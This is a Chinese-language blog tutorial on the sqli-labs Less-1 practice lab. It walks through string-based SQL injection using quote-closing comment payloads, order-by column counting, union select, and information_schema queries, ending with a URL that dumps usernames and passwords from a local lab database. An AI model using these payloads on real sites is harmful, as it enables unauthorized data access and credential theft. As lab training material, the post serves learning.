less 函数_sqli-labs注入超详细版(less-1)

7f58aeb80dbba223e11a359a1737683d.png

sql注入是一个很重要安全漏洞,之前学的总是摸棱两可,后来再渗透过程中,经常遇到需要手工注入的情况,这次就从头到尾再做一次,结合mysql数据库一起讲解,希望能给大家带来帮助,顺便自己再一次学习。

less-1 是字符注入,提示我们提交一个id试试

fc3f90729ab2e3c58e332ba4ac04447f.png

在url中加入?id=1 正常显示出id为1的账号信息。

8519c71315474e402a6c7ec29dcee58c.png

此时数据库查询语句大概是这样id是字符型(这是我本地新建的模拟数据,不是sqli-labs里面的库)

f704a8763e065ea0cae7f6084230c797.png

此时我们加入单引号看看

30fd2e4a01185cb8a21bcba3e6547fd5.png

那这里数据库查询语句肯定会报错,如下图

9beb3bc980b9490a49dca055280c364b.png

由此我们判别,id是字符型,且未过滤,转义,那么我们就在这进行注入,sql注入首先要让前面的查询闭合,后面的多余语句注释

c2614167ce9e44284cf237aaf3519fc0.png

如上图所示前面的用单引号闭合,后面的 -- 与 单引号 连接在一起,不能形成正确的sql语句,而 --空格 则可以, 所以在浏览器的url中用 --+ 或 %23 使服务端能够正确注释sql语句
所以payload1 就是 1'--+ payload2就是 1'%23

接下来我们就要用mysql的默认一些库表来爆库,表,那么我们就需要能查询出来,可以用级联查询,union select,用级联查询就需要知道有前面那个表有几列,可以用order by

paylaod: 1' order by 1 --+

a3a5187d9461df0a35c3cac2befa9c5e.png

当我们用满足的列,查询页面数据就可以显示出来,如果我们用一个大一点的,就会如下图所示

9ad9fd71c9a2f4599554a7e9d9e9961a.png

当我们 order by 3的时候 我们页面能正常显示,说明是3个字段,此时我们级联查询

后台结果:

e8961fc55fd9ed57c5fb5a824c497bf9.png

前台页面:

546b16a4323832c57c430ba74e9195e8.png

有小伙伴问了, 123 怎么不显示,实际上程序是只显示第一行结果。所以第二行就不显是,我们只需要把前面的id设置成一个数据库不存在的id,那么就可以显示 1,2,3的结果,这个操作叫做判断回显位

paylaod:-1' UNION select 1,2,3 --+

d365d23ff60c3b808d201a73b3ecb841.png

38a7c4725fcd629da6d138615cd4cb1f.png

爆库名用mysql 自带的函数 database(),我们替换到对应的回显位

SELECT * FROM user where id='-1' UNION select 1,database(),3 -- ' LIMIT 0,1

143a5f89a7739ec071e8414b7c9dd816.png

然后再报表名

http://172.16.225.128/Less-1/?id=-1' union select 1,version(),GROUP_CONCAT(table_name) from information_schema.`TABLES` where table_schema ='security';--+

402d1a769f68c1131391ebe5a06829be.png

information_schema.tables是记录数据库中所有的表,字段,等等,不了解的可以去看下这里面的结构,GROUP_CONCAT 是把结果连成一个字符串再一行显示。

爆字段 GROUP_CONCAT(column_name) from information_schema.columns where table_name ='users' and table_schema='security'

b9e31d23c98bed8c79cae8f9831a520d.png

这里报错来字段和表就可以直接查了

http://172.16.225.128/Less-1/?id=-1' union select 1,username,password from users limit 3,4;--+

53b59937226f3cab14d21d082a176cbb.png

指定limit 后面的起始行数就都可以爆出来了。写的太详细,真的好累,脖子疼。。

谢谢观看

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值